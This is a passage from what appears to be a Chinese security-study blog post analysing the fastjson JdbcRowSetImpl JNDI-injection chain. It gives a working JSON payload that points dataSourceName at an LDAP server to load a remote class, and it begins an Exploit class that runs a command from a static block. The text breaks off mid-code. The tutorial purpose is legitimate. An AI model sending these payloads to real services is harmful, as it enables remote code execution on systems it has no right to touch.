前言
上文分析了TemplatesImpl利用链,对fastjson parseObject函数进行了分析,明白了整个触发漏洞的流程,接着来学习JdbcRowSetImpl 利用链,JdbcRowSetImpl的利用链在实际运用中较为广泛,这个链基本没啥限制条件,只需要Json.parse(input)即可进行命令执行。这条链主要利用了setAutoCommit方法调用InitialContext.lookup并且参数是未经过滤dataSourceName,导致JNDI注入,造成命令执行。其中涉及了JDNI注入 + RMI/LDAP 的知识,再前文也简单分析过JNDI+RMI/JNDI+LDAP的利用,如果不明白可以参考前文JNDI注入(RMI攻击实现和LDAP攻击实现)
JdbcRowSetImpl限制条件
主要限制的因素是jdk版本,个人版本为jdk1.8.0_121
基于RMI利用的JDK版本 ≤ 6u141、7u131、8u121
基于LDAP利用的JDK版本 ≤ 6u211、7u201、8u191。
攻击流程
首先是这个lookup(URI)参数可控
攻击者控制URI参数为指定为恶意的一个RMI服务
攻击者RMI服务器向目标返回一个Reference对象,Reference对象中指定某个精心构造的Factory类;
目标在进行lookup()操作时,会动态加载并实例化Factory类,接着调用factory.getObjectInstance()获取外部远程对象实例;
攻击者可以在Factory类文件的静态代码块处写入恶意代码,达到RCE的效果;
源码分析
影响版本:fastjson<=1.2.24
payload:
{"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://127.0.0.1:1389/#Exploit", "autoCommit":true}
Exploit代码,需要编译成class文件放到web服务中去:
import java.io.IOException;
public class Exploit {
public Exploit() {
}
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {